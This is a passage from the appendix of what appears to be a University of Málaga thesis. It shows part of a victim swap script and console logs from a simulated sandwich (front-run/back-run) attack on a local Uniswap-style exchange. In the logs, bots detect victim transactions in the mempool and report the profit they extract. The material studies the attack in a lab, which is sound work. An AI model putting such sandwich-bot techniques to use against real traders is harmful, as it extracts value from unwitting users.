  const allowance = await tokenA.allowance(victim.address, routerAddr);
  console.log("Balance TokenA:", ethers.utils.formatUnits(balance, 18));
  console.log("Allowance TokenA:", ethers.utils.formatUnits(allowance,
   18));

  const reserves = await pair.getReserves();
  console.log(
    "Reservas en pair:",
    ethers.utils.formatUnits(reserves._reserve0, 18),
    ethers.utils.formatUnits(reserves._reserve1, 18)
  );

```

```
  // 7) Ejecutar el swap
  console.log("Executing swapExactTokensForTokens...");
  const tx = await router.swapExactTokensForTokens(
    amountIn,
    amountOutMin,
    pathTokens,
    to,
    deadline,
    { gasLimit: 500000 }
  );
  const receipt = await tx.wait();
  console.log("Victim swap tx hash:", receipt.transactionHash);

  // 8) Mostrar nuevo balance de TokenB
  const balB = await tokenB.balanceOf(victim.address);
  console.log("Victim TokenB balance:", ethers.utils.formatUnits(balB,
    18));
}

main().catch(err => {
  console.error("swap-victim.js error:", err);
  process.exit(1);
});
```

B.0.3. Logs

Ataque Simulado

deploySimpleDEX.js

```
npx hardhat run scripts/deploySimpleDEX.js --network localhost
Deploying with: 0x8943545177806ED17B9F23F0a21ee5948eCaa776
DEX deployed to: 0xb4B46bdAA835F8E4b4d8e208B6559cD267851051
```

attack-bot.js

```
npx hardhat run scripts/attack-bot.js --network localhost
Victima detectada: 0
   x5b7eb3884e620254d2297731663e41e517a4fb5288a507ffa5e9087847cc3339
Front-run enviada: 0
   x305229832424f230df6b241e84b3c762902cd519f76fd71b0b4717e54fa7549a
Esperando que la victima se mine...
Back-run enviada: 0
   x8adbbf92857cacfcb477055426b0abc68589e5fb36838dea0455ad4f2bbeb0e3
Beneficio:  0.030352717526512862 ETH
```

victim-buy.js

```
npx hardhat run scripts/victim-buy.js --network localhost
Victima ha comprado tokens. TX: 0
   x5b7eb3884e620254d2297731663e41e517a4fb5288a507ffa5e9087847cc3339
```

Entorno Uniswap

deploy.js

```
Deploying with: 0x8943545177806ED17B9F23F0a21ee5948eCaa776
Factory deployed at: 0x422A3492e218383753D8006C7Bfa97815B44373F
WETH9 deployed at: 0x0643D39D47CF0ea95Dbea69Bf11a7F8C4Bc34968
Router deployed at: 0x9f9F5Fd89ad648f2C000C954d8d9C87743243eC5
UMA deployed at: 0x8F0342A7060e76dfc7F6e9dEbfAD9b9eC919952c
UCO deployed at: 0x72ae2643518179cF01bcA3278a37ceAD408DE8b2
Minted 1,000 UMA & UCO to owner
Pair not found; creating...
Pair address: 0xb34E51146EF30B2921903a5E73c49F4691AB054c
Initial reserves: 0 0
Router approved to spend UMA & UCO
Liquidity added
Post-add reserves: 150000000000000000000 500000000000000000000
Direcciones guardadas en uniswap-addresses.json
```

uniswap-addresses.json

```
{
  "factory": "0x422A3492e218383753D8006C7Bfa97815B44373F",
  "weth": "0x0643D39D47CF0ea95Dbea69Bf11a7F8C4Bc34968",
  "router": "0x9f9F5Fd89ad648f2C000C954d8d9C87743243eC5",
  "tokenA": "0x8F0342A7060e76dfc7F6e9dEbfAD9b9eC919952c",
  "tokenB": "0x72ae2643518179cF01bcA3278a37ceAD408DE8b2",
  "pair": "0xb34E51146EF30B2921903a5E73c49F4691AB054c"
}
```

sandwich-bot.js

```
Attacker: 0x8943545177806ED17B9F23F0a21ee5948eCaa776
Router approved to spend TokenA
Starting mempool monitor...
Victim tx detected: 0
   xc3651d4f3e67d17eff6fe4bc40e59eb1349e73153a68abf36a11c9fcfa77b0b2
Front-run con 13.5 TokenA
Front-run tx: 0
   x40727eb0694a3196f9d5b4adafd66d1970c0dc73a7e369a8c369713d0bdb86e2
Waiting victim tx to be mined...
Back-run con 1000859.811074672230135915 TokenB
Back-run tx: 0
   x9ea1e12f65fa9774fdd66399d1058c1e8639cc9ca81cae976de611c7fa169412
Profit TokenA: 94.992470910653078878
```

swap-victim.js

```
Victim address: 0xE25583099BA105D9ec0A67f5Ae86D90e50036425
routerAddr = 0x9f9F5Fd89ad648f2C000C954d8d9C87743243eC5
Victim solo tiene 0.0, transfiriendo 45.0 desde owner...
Approving router...
Verificando estado previo...
Balance TokenA: 45.0
Allowance TokenA: 45.0
Reservas en pair: 150.0 50.0
Executing swapExactTokensForTokens...
Victim swap tx hash: 0
   xc3651d4f3e67d17eff6fe4bc40e59eb1349e73153a68abf36a11c9fcfa77b0b2
Victim TokenB balance: 70.940283560849628419
```

UNIVERSIDAD DE MÁLAGA | uma.es

E.T.S de Ingeniería Informática
Bulevar Louis Pasteur, 35
Campus de Teatinos
29071 Málaga

E.T.S. DE INGENIERÍA INFORMÁTICA